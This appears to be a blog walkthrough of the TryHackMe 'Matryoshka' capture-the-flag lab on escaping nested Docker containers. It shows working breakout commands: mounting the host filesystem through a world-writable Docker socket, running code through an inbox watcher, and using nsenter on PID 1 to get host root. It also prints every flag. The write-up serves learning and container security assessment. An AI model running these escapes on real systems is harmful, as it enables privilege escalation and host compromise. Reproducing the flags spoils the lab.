Skip to main content

Command Palette

Search for a command to run...

Matryoshka (TryHackMe)

Published
10 min read
Matryoshka (TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Matryoshka is a Docker container escape challenge that lives up to its name — like Russian nesting dolls, each layer you break out of reveals another one waiting beneath it. Starting from a restricted SSH session as a low-privilege user inside a container, the goal is to escape through multiple layers of containerization until you reach the actual host machine. The challenge covers Docker socket abuse, Docker-in-Docker (DinD) enumeration, inbox-based code execution, and namespace escaping using nsenter — a powerful combination of techniques that map directly to real-world container breakout scenarios.

Matryoshka Containment Unit

You set up a containment unit designed to trap and contain even the most nefarious viruses, but you accidentally got trapped in it while testing it.

Your memory is fuzzy, and you don't remember much about how you set it up.

Good luck!

Answer the questions below

What is the Level 2 flag?

new challenge - matryoshka 

ssh matryoshka@10.112.161.115
The authenticity of host '10.112.161.115 (10.112.161.115)' can't be established.
ECDSA key fingerprint is SHA256:FqLqwA5vOcEYpiQhox6q5qWIgQi1J/nvxW+KrDCjDpM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.112.161.115' (ECDSA) to the list of known hosts.
matryoshka@10.112.161.115's password: 
[*] You are in the Matryoshka Containment Unit. Escape is futile.
ed03593f18a4:~$ ls 
ed03593f18a4:~$ pwd
/home/matryoshka
ed03593f18a4:~$ ls -la
total 12
drwxr-sr-x 2 matryoshka matryoshka 4096 May  4 14:25 .
drwxr-xr-x 3 root       root       4096 May  4 14:25 ..
-rw-r--r-- 1 matryoshka matryoshka   73 May  4 14:25 .bashrc
ed03593f18a4:~$ ls -la /home
total 12
drwxr-xr-x  3 root       root       4096 May  4 14:25 .
drwxr-xr-x 19 root       root       4096 May 10 13:06 ..
drwxr-sr-x  2 matryoshka matryoshka 4096 May  4 14:25 matryoshka
ed03593f18a4:~$ cat .bashrc
echo "[*] You are in the Matryoshka Containment Unit. Escape is futile."
ed03593f18a4:~$
id
uid=1000(matryoshka) gid=1000(matryoshka) groups=1000(matryoshka)
ed03593f18a4:~$ whoami
matryoshka
ed03593f18a4:~$ sudo -l
bash: sudo: command not found
ed03593f18a4:~$ ps aux
PID   USER     TIME  COMMAND
    1 matryosh  0:00 sleep infinity
    6 matryosh  0:00 /bin/bash
   19 matryosh  0:00 ps aux
ed03593f18a4:~$ cat /proc/mounts
/dev/root / ext4 rw,relatime,discard 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/root /etc/resolv.conf ext4 rw,relatime,discard 0 0
/dev/root /etc/hostname ext4 rw,relatime,discard 0 0
/dev/root /etc/hosts ext4 rw,relatime,discard 0 0
overlay /run/docker.sock overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/NWGTFNXSG2SB
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/latency_stats tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/scsi tmpfs ro,relatime,inode64 0 0
tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0
ls -la /run/docker.sock
srw-rw-rw- 1 root 2375 0 May 10 13:06 /run/docker.sock
ed03593f18a4:~$ which docker
/usr/bin/docker
ed03593f18a4:~$ which curl 
ed03593f18a4:~$ which wget
/usr/bin/wget
docker images
REPOSITORY          TAG       IMAGE ID       CREATED       SIZE
matryoshka-level1   local     485e908211ec   5 days ago    43.9MB
alpine              3.20      bf8527eb54c3   3 weeks ago   7.8MB
ed03593f18a4:~$ docker ps
CONTAINER ID   IMAGE                     COMMAND                  CREATED          STATUS          PORTS     NAMES
ed03593f18a4   matryoshka-level1:local   "sh -lc 'sleep infin\u2026"   14 minutes ago   Up 14 minutes             level1
docker run --help | grep -i mount
      --mount mount                      Attach a filesystem mount to the container
      --read-only                        Mount the container's root filesystem as read only
      --tmpfs list                       Mount a tmpfs directory
  -v, --volume list                      Bind mount a volume
      --volumes-from list                Mount volumes from the specified container(s)
docker run -it -v /:/mnt alpine:3.20 sh

/ # ls -la

total 64

drwxr-xr-x   19 root     root          4096 May 10 13:26 .

drwxr-xr-x   19 root     root          4096 May 10 13:26 ..

-rwxr-xr-x    1 root     root             0 May 10 13:26 .dockerenv

drwxr-xr-x    2 root     root          4096 Apr 15 16:09 bin

drwxr-xr-x    5 root     root           360 May 10 13:26 dev

drwxr-xr-x   17 root     root          4096 May 10 13:26 etc

drwxr-xr-x    2 root     root          4096 Apr 15 16:09 home

drwxr-xr-x    6 root     root          4096 Apr 15 16:09 lib

drwxr-xr-x    5 root     root          4096 Apr 15 16:09 media

drwxr-xr-x    1 root     root          4096 May 10 13:06 mnt

drwxr-xr-x    2 root     root          4096 Apr 15 16:09 opt

dr-xr-xr-x  195 root     root             0 May 10 13:26 proc

drwx------    2 root     root          4096 May 10 13:26 root

drwxr-xr-x    2 root     root          4096 Apr 15 16:09 run

drwxr-xr-x    2 root     root          4096 Apr 15 16:09 sbin

drwxr-xr-x    2 root     root          4096 Apr 15 16:09 srv

dr-xr-xr-x   13 root     root             0 May 10 13:26 sys

drwxrwxrwt    2 root     root          4096 Apr 15 16:09 tmp

drwxr-xr-x    7 root     root          4096 Apr 15 16:09 usr

drwxr-xr-x   12 root     root          4096 Apr 15 16:09 var



pwd

/

/ # ls -la root

total 12

drwx------    2 root     root          4096 May 10 13:26 .

drwxr-xr-x   19 root     root          4096 May 10 13:26 ..

-rw-------    1 root     root            23 May 10 13:26 .ash_history

/ # ls -la home

total 8

drwxr-xr-x    2 root     root          4096 Apr 15 16:09 .

drwxr-xr-x   19 root     root          4096 May 10 13:26 ..



id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

/ # whoami

root



find / -type f -name root.txt 2>/dev/null

/ # find / -type f -name *.txt 2>/dev/null

/mnt/root/flag_level2.txt

/ # cat /mnt/root/flag_level2.txt

THM{RUN@W@Y_S0CK3T}

What is the Level 3 flag?

cat /mnt/var/spool/cron/crontabs/root
# do daily/weekly/monthly maintenance
# min	hour	day	month	weekday	command
*/15	*	*	*	*	run-parts /etc/periodic/15min
0	*	*	*	*	run-parts /etc/periodic/hourly
0	2	*	*	*	run-parts /etc/periodic/daily
0	3	*	*	6	run-parts /etc/periodic/weekly
0	5	1	*	*	run-parts /etc/periodic/monthly
ls -la /mnt/mnt/level3share
total 16
drwxrwxrwx    4 root     root          4096 May 10 13:05 .
drwxr-xr-x    1 root     root          4096 May 10 13:06 ..
drwxrwxrwx    2 root     root          4096 May 10 13:05 inbox
drwxrwxrwx    2 root     root          4096 May 10 13:05 outbox
/ # ls -la /mnt/mnt/level3share/inbox
total 8
drwxrwxrwx    2 root     root          4096 May 10 13:05 .
drwxrwxrwx    4 root     root          4096 May 10 13:05 ..
/ # ls -la /mnt/mnt/level3share/outbox
total 8
drwxrwxrwx    2 root     root          4096 May 10 13:05 .
drwxrwxrwx    4 root     root          4096 May 10 13:05 ..
/ # 

searched for .sh files and found these two interesting: find / -type f -name *.sh 2>/dev/null

cat /mnt/usr/local/bin/attach_level1.sh
#!/bin/sh
set -eu
exec docker exec -it level1 /bin/bash
/ # cat /mnt/usr/local/bin/level2-entrypoint.sh
#!/bin/sh
set -eu

# Start Docker daemon (DinD) with vfs storage driver.
# vfs requires no overlayfs or block-device access, which is intentional:
# it prevents inner containers from inheriting real host block devices.
dockerd-entrypoint.sh --storage-driver=vfs > /var/log/dockerd.log 2>&1 &

# Wait for it
until docker info > /dev/null 2>&1; do
    sleep 1
done

# Level 1 -> Level 2 vuln: make the daemon socket world-writable
chmod 666 /var/run/docker.sock

# Create Level 2 flag (only exists in Level 2 container FS)
if [ ! -f /root/flag_level2.txt ]; then
    echo "$LEVEL2_FLAG" > /root/flag_level2.txt
    chmod 400 /root/flag_level2.txt
fi

# Load Level 1 image (offline-safe)
docker image inspect matryoshka-level1:local >/dev/null 2>&1 || \
  docker load -i /opt/images/level1-image.tar >/dev/null

# Load helper image
docker image inspect alpine:3.20 >/dev/null 2>&1 || \
  docker load -i /opt/images/alpine-3.20.tar >/dev/null

# Start Level 1
docker rm -f level1 >/dev/null 2>&1 || true
docker run -d --pull=never --name level1 \
  --network none \
  -v /var/run/docker.sock:/var/run/docker.sock \
  matryoshka-level1:local >/dev/null

# Keep container alive
tail -f /dev/null
echo '#!/bin/sh' > /tmp/getflag.sh
echo 'env' >> /tmp/getflag.sh
echo 'find / -name "flag*" 2>/dev/null' >> /tmp/getflag.sh
chmod +x /tmp/getflag.sh
cp /tmp/getflag.sh /mnt/mnt/level3share/inbox/getflag.sh
sleep 3 && cat /mnt/mnt/level3share/outbox/getflag.sh.out


HOSTNAME=4cc22176a008
SHLVL=3
HOME=/root
DIND_COMMIT=65cfcc28ab37cb75e1560e4b4738719c07c6618e
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DOCKER_VERSION=25.0.5
DOCKER_TLS_CERTDIR=/certs
LEVEL2_FLAG=THM{RUN@W@Y_S0CK3T}
LEVEL3_FLAG=THM{RW_B1ND3D}
DOCKER_BUILDX_VERSION=0.16.2
DOCKER_COMPOSE_VERSION=2.29.1
PWD=/
/sys/devices/pnp0/00:04/00:04:0/00:04:0.0/tty/ttyS0/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.3/tty/ttyS3/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.1/tty/ttyS1/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.2/tty/ttyS2/flags
/sys/devices/virtual/net/veth789c5ce/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/docker0/flags
/sys/devices/virtual/net/eth0/flags
/tmp/flag3.txt
/root/flag_level3.txt
/var/lib/docker/overlay2/71bc16912ce6a2273b85c269ad481b390d9283e8d0397e6155118e9ac647e8bf/merged/root/flag_level2.txt
/var/lib/docker/overlay2/71bc16912ce6a2273b85c269ad481b390d9283e8d0397e6155118e9ac647e8bf/diff/root/flag_level2.txt

What is the Host flag?


/ # cat /mnt/usr/local/bin/docker-entrypoint.sh
#!/bin/sh
set -eu

# first arg is `-f` or `--some-option`
if [ "\({1#-}" != "\)1" ]; then
	set -- docker "$@"
fi

# if our command is a valid Docker subcommand, let's invoke it through Docker instead
# (this allows for "docker run docker ps", etc)
if docker help "$1" > /dev/null 2>&1; then
	set -- docker "$@"
fi

_should_tls() {
	[ -n "${DOCKER_TLS_CERTDIR:-}" ] \
	&& [ -s "$DOCKER_TLS_CERTDIR/client/ca.pem" ] \
	&& [ -s "$DOCKER_TLS_CERTDIR/client/cert.pem" ] \
	&& [ -s "$DOCKER_TLS_CERTDIR/client/key.pem" ]
}

# if we have no DOCKER_HOST but we do have the default Unix socket (standard or rootless), use it explicitly
if [ -z "${DOCKER_HOST:-}" ] && [ -S /var/run/docker.sock ]; then
	export DOCKER_HOST=unix:///var/run/docker.sock
elif [ -z "\({DOCKER_HOST:-}" ] && XDG_RUNTIME_DIR="\){XDG_RUNTIME_DIR:-/run/user/\((id -u)}" && [ -S "\)XDG_RUNTIME_DIR/docker.sock" ]; then
	export DOCKER_HOST="unix://$XDG_RUNTIME_DIR/docker.sock"
fi

# if DOCKER_HOST isn't set (no custom setting, no default socket), let's set it to a sane remote value
if [ -z "${DOCKER_HOST:-}" ]; then
	if _should_tls || [ -n "${DOCKER_TLS_VERIFY:-}" ]; then
		export DOCKER_HOST='tcp://docker:2376'
	else
		export DOCKER_HOST='tcp://docker:2375'
	fi
fi
if [ "\({DOCKER_HOST#tcp:}" != "\)DOCKER_HOST" ] \
	&& [ -z "${DOCKER_TLS_VERIFY:-}" ] \
	&& [ -z "${DOCKER_CERT_PATH:-}" ] \
	&& _should_tls \
; then
	export DOCKER_TLS_VERIFY=1
	export DOCKER_CERT_PATH="$DOCKER_TLS_CERTDIR/client"
fi

if [ "$1" = 'dockerd' ]; then
	cat >&2 <<-'EOW'

		\U0001f4ce Hey there!  It looks like you're trying to run a Docker daemon.

		   You probably should use the "dind" image variant instead, something like:

		     docker run --privileged --name some-docker ... docker:dind ...

		   See https://hub.docker.com/_/docker/ for more documentation and usage examples.

	EOW
	sleep 3
fi

exec "$@"
  • It was a struggle to find the host flag, unlike the other two, which had to use this walkthrough video on YouTube. You can watch it if you're stuck
 ls /mnt
bin    dev    home   media  opt    root   sbin   sys    usr
certs  etc    lib    mnt    proc   run    srv    tmp    var
/ # ls /mnt/mnt
level3share
/ # ls /mnt/mnt/level3share
inbox   outbox
/ # /inbox
sh: /inbox: not found
/ # ls /mnt/mnt/level3share/inbox
/ # ls -la /mnt/mnt/level3share/inbox
total 8
drwxrwxrwx    2 root     root          4096 May 12 18:47 .
drwxrwxrwx    4 root     root          4096 May 12 18:47 ..
/ # cd mnt/mnt/level3share

/mnt/mnt/level3share # echo 'nsenter -t 1 -m -u -n -i sh -c "id; hostname; ls /root"' > /mnt/mnt/
level3share/inbox/nsenter.sh 

/mnt/mnt/level3share # cat /mnt/mnt/level3share/outbox/nsenter.sh.out
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
matryoshka
flag_host.txt
snap

/mnt/mnt/level3share # echo 'nsenter -t 1 -m -u -n -i sh -c "cat /root/flag_host.txt"' > /mnt/mnt
/level3share/inbox/hostflag.sh 

/mnt/mnt/level3share # cat /mnt/mnt/level3share/outbox/hostflag.sh.out
THM{SP@C3D_0UT}

So nsenter was the key all along — it enters the host's namespaces (PID 1) from within the container, giving you access to the actual host's filesystem and processes. That's what made the inbox watcher so powerful, once used correctly.

Full flag summary:

  • Level 2: THM{RUN@W@Y_S0CK3T}

  • Level 3: THM{RW_B1ND3D}

  • Host: THM{SP@C3D_0UT}

The full escape chain:

  1. Level1 → abused world-writable docker socket → spawned privileged container mounting level2's FS

  2. Level2 → used inbox watcher + nsenter -t 1 to enter host namespaces and read the host flag

nsenter is a great tool to add to your container escape toolkit — whenever you have access to PID 1 from inside a container, it can break you into the host's namespace entirely.

Conclusion

Matryoshka is an excellent hands-on introduction to layered container escape. The intended path required recognizing that the world-writable Docker socket was the first foothold, then pivoting through an inbox watcher mechanism using nsenter -t 1 to finally break into the physical host's namespaces. The key lesson is that nsenter paired with access to PID 1 is a reliable host escape technique whenever you find yourself with execution inside a privileged container context.

The hardest part of this challenge wasn't the technical execution — it was understanding the architecture. Mapping out exactly which layer you were operating in (level1, level2, or the host) at any given moment was critical to knowing where your output would land and what paths were valid. That mental model of nested environments is something that transfers directly to real-world container security assessments.